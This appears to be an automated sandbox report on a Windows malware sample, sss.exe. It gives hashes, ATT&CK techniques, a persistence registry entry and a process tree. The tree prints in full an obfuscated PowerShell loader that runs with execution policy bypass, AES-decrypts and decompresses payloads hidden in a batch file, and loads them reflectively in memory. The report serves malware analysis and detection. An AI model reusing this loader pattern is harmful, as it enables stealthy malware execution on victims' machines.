37c1bc1d1fe8d46db33baeb3ab8e587541bfebddaea7d42cdd87b34fd3632c55

General

Target

sss.exe
Size

323KB
MD5

6bbf50445493a5565d3e87d46b3ddeb1
SHA1

c20afb96ae13b358479eb21887039dae27f12de7
SHA256

37c1bc1d1fe8d46db33baeb3ab8e587541bfebddaea7d42cdd87b34fd3632c55
SHA512

89262e531367e6d696fea5dfe5d8fb8cbde752df2a295fccc5cd16c9fc30db65f1175e30066255cf184fa647c75f62afcd9818fb048bb6bea6d182f93b9c33e4
SSDEEP

6144:9kGp0yN90QEZ/ysH7gglxMzXw0XEBorwLt4:iy90TiBc0UBv6

Score

6^/10

execution persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	sss.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4748	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4748	powershell.exe
4748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4748	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5108 wrote to memory of 4116	5108	sss.exe	84
PID 5108 wrote to memory of 4116	5108	sss.exe	84
PID 4116 wrote to memory of 4748	4116	cmd.exe	88
PID 4116 wrote to memory of 4748	4116	cmd.exe	88
PID 4116 wrote to memory of 4748	4116	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\sss.exe
"C:\Users\Admin\AppData\Local\Temp\sss.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "sss.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2wJDIaXe4hsZSNlc5IH3OVTks52Y1+GyrYbU9tUwRmM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XuYmo8HG57qtYb5RfVzIGw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BrRXX=New-Object System.IO.MemoryStream(,$param_var); $gOjVy=New-Object System.IO.MemoryStream; $TOrgh=New-Object System.IO.Compression.GZipStream($BrRXX, [IO.Compression.CompressionMode]::Decompress); $TOrgh.CopyTo($gOjVy); $TOrgh.Dispose(); $BrRXX.Dispose(); $gOjVy.Dispose(); $gOjVy.ToArray();}function execute_function($param_var,$param2_var){ $oTFLM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HmfOW=$oTFLM.EntryPoint; $HmfOW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\sss.bat';$usoNB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\sss.bat').Split([Environment]::NewLine);foreach ($aNcJt in $usoNB) { if ($aNcJt.StartsWith(':: ')) { $sorVg=$aNcJt.Substring(3); break; }}$payloads_var=[string[]]$sorVg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\sss.bat

Filesize
239KB

MD5
1e6b15cb7c367571ede7605ec000190a

SHA1
972d5b6e60093a4e47a5370cc5c5c1508405b2c2

SHA256
37ee5a472d73c7bb978cfb8810dbcd10966f1cf1e15d2e395a28ca892a375f33

SHA512
e9592061ca7a5724422e6b17f19fe95777d09d283c049954afa863de6e1f0abfa0e5a92f209d09cc914cf8329d6c20acf9bc384236b6b2fcac0c038d5efc2698

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ndf0q2lk.yon.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4748-20-0x0000000005F00000-0x0000000006254000-memory.dmp

Filesize
3.3MB

Download
memory/4748-21-0x0000000006380000-0x000000000639E000-memory.dmp

Filesize
120KB

Download
memory/4748-7-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4748-6-0x0000000005690000-0x0000000005CB8000-memory.dmp

Filesize
6.2MB

Download
memory/4748-8-0x00000000055E0000-0x0000000005602000-memory.dmp

Filesize
136KB

Download
memory/4748-9-0x0000000005DB0000-0x0000000005E16000-memory.dmp

Filesize
408KB

Download
memory/4748-10-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Filesize
408KB

Download
memory/4748-4-0x0000000004ED0000-0x0000000004F06000-memory.dmp

Filesize
216KB

Download
memory/4748-3-0x0000000074AAE000-0x0000000074AAF000-memory.dmp

Filesize
4KB

Download
memory/4748-5-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4748-22-0x0000000006430000-0x000000000647C000-memory.dmp

Filesize
304KB

Download
memory/4748-23-0x0000000007BC0000-0x000000000823A000-memory.dmp

Filesize
6.5MB

Download
memory/4748-24-0x0000000006960000-0x000000000697A000-memory.dmp

Filesize
104KB

Download
memory/4748-25-0x0000000007540000-0x0000000007548000-memory.dmp

Filesize
32KB

Download
memory/4748-26-0x0000000007550000-0x000000000757E000-memory.dmp

Filesize
184KB

Download
memory/4748-27-0x00000000051B0000-0x00000000051BE000-memory.dmp

Filesize
56KB

Download
memory/4748-28-0x00000000087F0000-0x0000000008D94000-memory.dmp

Filesize
5.6MB

Download
memory/4748-29-0x0000000007780000-0x000000000781C000-memory.dmp

Filesize
624KB

Download
memory/4748-32-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads